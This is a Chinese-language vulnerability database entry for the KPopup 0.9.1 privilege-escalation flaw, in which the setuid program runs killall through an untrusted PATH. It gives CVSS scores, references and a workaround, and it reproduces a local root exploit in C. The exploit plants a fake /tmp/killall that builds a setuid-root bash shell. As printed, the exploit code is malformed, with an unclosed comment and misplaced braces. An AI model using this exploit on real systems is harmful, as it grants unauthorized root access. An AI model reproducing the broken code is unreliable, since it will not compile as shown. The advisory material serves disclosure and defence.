发布时间 :2003-12-31 00:00:00
修订时间 :2017-07-10 21:29:47

[原文]misc.cpp in KPopup 0.9.1 trusts the PATH variable when executing killall, which allows local users to elevate their privileges by modifying the PATH variable to reference a malicious killall program.


        Kpopup是一款KDE程序,用于发送和接收MS Windows WinPopup消息的程序。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BUGTRAQ  20031028 Local root vuln in kpopup
(PATCH)  BID  8915
(UNKNOWN)  XF  kpopup-systemcall-execute-code(13540)

- 漏洞信息

高危 其他
2003-12-31 00:00:00 2005-10-20 00:00:00
        Kpopup是一款KDE程序,用于发送和接收MS Windows WinPopup消息的程序。

- 公告与补丁

        Gernot Stocker

- 漏洞信息 (23308)

kpopup 0.9.x Privileged Command Execution Vulnerability (EDBID:23308)
linux local
2003-10-28 Verified
0 b0f
N/A [点击下载]

It has been alleged that it is possible for local attackers to gain root privileges through kpopup, which is is installed setuid root by default. According to the report, kpopup uses the system(3) C-library function insecurely to run other utilities on the system. In at least one instance, system(3) is called to invoke the binary killall(1) in a manner relying on the PATH environment variable. As the environment can be set by the unprivileged user when kpopup is executed, an arbitrary executable with the filename killall(1) can be executed. Many modern shells anticipate insecure use of this function by setuid/setgid processes and drop effective privileges if they do not match the real userid/gid of the process. It may be the case that kpopup first sets its real uid and gid to 0 before calling system, making this vulnerability exploitable. This has not been confirmed by Symantec. 

/*Local root exploit for kpopup
 *by b0f
#include <stdio.h>
int main()
FILE *fd;
fd = fopen("/tmp/killall", "w");{
fprintf(fd, "#!/bin/sh\n");
fprintf(fd, "cd /tmp\n");
fprintf(fd, "/bin/cat > shell.c << EOF\n");
fprintf(fd, "#include <stdio.h>\n");
fprintf(fd, "int main()\n");
fprintf(fd, "{\n");
fprintf(fd, "setuid(0);\n");
fprintf(fd, "setgid(0);\n");
fprintf(fd, "execl(\"/bin/bash\", \"-bash\", NULL);\n");
fprintf(fd, "return 0;\n");
fprintf(fd, "}\n");
fprintf(fd, "EOF\n");
fprintf(fd, "/usr/bin/gcc /tmp/shell.c -o /tmp/shell\n");
fprintf(fd, "/bin/chown root.root /tmp/shell\n");
fprintf(fd, "/bin/chmod 6711 /tmp/shell\n");
fprintf(fd, "echo NOW HERE IS YOUR ROOT SHELL\n");
fprintf(fd, "/tmp/shell\n");
system("chmod +x /tmp/killall");
system("/usr/local/kde/bin/kpopup root shell");
return 0;

- 漏洞信息

KPopup main.cpp Insecure Path Privilege Escalation
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

Kpopup contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered when a malicous user changes the PATH environment variable to include a hostile 'killall' binary before the system path. This flaws may be abused to execute arbitrary code as the root user.

- 时间线

2003-10-30 Unknow
2003-10-30 Unknow

- 解决方案

Currently, there are no known upgrades or patches to correct this issue. It is possible to correct the flaw by implementing the following workaround(s): Remove the setuid bit on the kpopup executable.

- 相关参考

- 漏洞作者

Unknown or Incomplete